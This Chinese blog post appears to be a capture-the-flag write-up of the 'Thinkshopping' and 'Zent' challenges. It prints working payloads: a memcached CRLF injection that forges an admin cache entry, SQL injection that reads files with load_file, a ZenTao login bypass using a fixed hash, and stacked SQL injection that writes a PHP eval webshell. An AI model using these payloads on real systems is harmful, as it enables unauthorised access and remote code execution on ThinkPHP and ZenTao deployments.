强网杯S7 Thinkshopping Zent

Thinkshopping

在start.sh发现开启了memcached

memcached -d -m 50 -p 11211 -u root

memcached存在CRLF注入,相关文章:

us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf

题目的版本是thinkphp5,在config.php里开启了使用memcached

'cache'                  => [
    // 驱动方式
    'type'   => 'Memcached',
    // 缓存保存目录
    'path'   => CACHE_PATH,
    // 缓存前缀
    'prefix' => '',
    // 缓存有效期 0表示永久缓存
    'expire' => 0,
],

题目清空了数据库里管理员的帐号,因此要找到登录逻辑的漏洞。登录部分的controller层:

// 设置缓存键和有效期
$Key = ["Login" , $username];
$Expire = 600; // 缓存有效期为10分钟 (600秒)

// 尝试从缓存中获取数据
$adminData = Db::table('admin')
    ->cache(true, $Expire)
    ->find($username);

跟进DAO层

/var/www/html/thinkphp/library/think/db/Query.php

和缓存有关的代码简化如下

// 查询缓存, 上面的$username即下面的$data
if (empty($options['fetch_sql']) && !empty($options['cache'])) {
    // 判断查询缓存
    $cache = $options['cache'];
    if (true === $cache['key'] && !is_null($data) && !is_array($data)) {
        $key = 'think:' . $this->connection->getConfig('database') . '.' . (is_array($options['table']) ? key($options['table']) : $options['table']) . '|' . $data;
    } elseif (is_string($cache['key'])) {
        $key = $cache['key'];
    } elseif (!isset($key)) {
        $key = md5($this->connection->getConfig('database') . '.' . serialize($options) . serialize($this->bind));
    }
    var_dump($key);
    $result = Cache::get($key);
}
// 如果缓存没找到,就从数据库里找
// ...
//如果数据库里找到了,放在缓存里
// ...
if (isset($cache) && $result) {
    // 缓存数据
    $this->cacheData($key, $result, $cache);
}
// ...
protected function cacheData($key, $data, $config = [])
{
    if (isset($config['tag'])) {
        Cache::tag($config['tag'])->set($key, $data, $config['expire']);
    } else {
        Cache::set($key, $data, $config['expire']);
    }
}

可以看到$key是可控后缀的,于是CRLF插入一个合法的管理员数据即可。先用mysql shell插入一条数据,看看memcached是如何存储这个数据的。这个数据的key是

think:shop.admin|1

value是(password = md5('123456'))

a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";}

于是构造

POST /public/index.php/index/admin/do_login.html
username=foo%00%0d%0aset%20think%3Ashop.admin%7C1%200%203600%20101%0d%0aa:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";}%0d%0a&password=123456

即可登录。

登录后台后在admin model层可以看到明显的sqli

public function updatedata($data, $table, $id)
{
    if (!$this->connect()) {
        die('Error');
    } else {
        $sql = "UPDATE $table SET ";
        foreach ($data as $key => $value) {
            $sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";
        }

        $sql = rtrim($sql, ', ') . " WHERE `id` = " . intval($id);
        return mysqli_query($this->connect(), $sql);


    }
}
public function insertdata($data, $table)
{
    if (!$this->connect()) {
        die('Error');
    } else {
        $sql = "INSERT INTO $table (";
        $keys = [];
        $values = [];
        // var_dump($data);
        foreach ($data as $key => $value) {
            $keys[] = "`$key`";
            $values[] = "unhex('" . bin2hex($value) . "')";
        }

        $sql .= implode(', ', $keys) . ') VALUES (' . implode(', ', $values) . ')';
        return mysqli_query($this->connect(), $sql);
    }
}

update的时候key是可控的,mysql开放了读写任何目录的权限。所以用sqli读flag即可:

POST /public/index.php/index/admin/do_edit.html
id=7&name=inject&price=5.00&on_sale_time=2022-01-01T01%3A01&image=1&data`%3dload_file('/fffflllaaaagggg')%09where%09id%3d7#&data=foo%0D%0A

Zent

题目对admin用户进行了数据库层面的修改

/opt/zbox/bin/mysql -u root -P 3306 -p123456 -e "use zentao;update zt_user SET password='123abc'

但是直接用这个账号密码是无法登录的。定位到校验密码的位置:

app/zentao/module/user/model.php

可以看到存在数据库里的数据按道理应该是hash

    public function identify($account, $password)
    {
        if(!$account or !$password) return false;
        /* Check account rule in login.  */
        if(!validater::checkAccount($account)) return false;

        /* Get the user first. If $password length is 32, don't add the password condition.  */
        $record = $this->dao->select('*')->from(TABLE_USER)
            ->where('account')->eq($account)
            ->beginIF(strlen($password) < 32)->andWhere('password')->eq(md5($password))->fi()
            ->andWhere('deleted')->eq(0)
            ->fetch();

        /* If the length of $password is 32 or 40, checking by the auth hash. */
        $user = false;
        if($record)
        {
            $passwordLength = strlen($password);
            if($passwordLength < 32)
            {
                $user = $record;
            }
            elseif($passwordLength == 32)
            {
                $hash = $this->session->rand ? md5($record->password . $this->session->rand) : $record->password;
                $user = $password == $hash ? $record : '';
            }
            elseif($passwordLength == 40)
            {
                $hash = sha1($record->account . $record->password . $record->last);
                $user = $password == $hash ? $record : '';
            }
            if(!$user and md5($password) == $record->password) $user = $record;
        }
        // ...
    }

但是当$passwordLength == 40的时候$hash是固定的,dump下来可以知道是

94cda481b441635884574c8f7022538ee0f02e75

以这个作为实际的password参数即可登录后台。(为了避免改密码的麻烦,建议把passwordStrength参数删除)

后台经过兜兜转转,最终学长找到了一个sqli写文件的漏洞orz...

注意到数据库的secure_file_priv为空,即数据库可以任意写。可以用下面这个正则表达式搜索一下可能的sql注入

`\w+` = \$

image-20240115173929307

在product#create方法找到了可控的注入点。

image-20240115174015747

打开数据库的general_log变量,即可看到最终的sql语句,方便后续构造。

image-20240115172412660

创建一个名为inject123的产品,定位到日志文件里

image-20240115173636176

构造堆叠注入

program=1;select+sleep(1);

服务器成功休眠1s,存在堆叠注入。

如果这时候试图往web目录里写马会发现无法解析。查看apache的配置文件,会发现只有以下少数几个文件被php解析了:

image-20240115195136115

可以创建实际上不存在的upgrade.php作为木马。

POC:

program=1; set+%40sql%3d0x73656c65637420273c3f706870206576616c28245f504f53545b2231225d293b3f3e2720696e746f2064756d7066696c6520272f6f70742f7a626f782f6170702f7a656e74616f2f7777772f757067726164652e706870273b%3bprepare+stmt+from+%40sql%3bexecute+stmt%3b

访问/zentao/upgrade.php就是webshell

posted @ 2024-01-17 11:49  KingBridge  阅读(118)  评论(0编辑  收藏  举报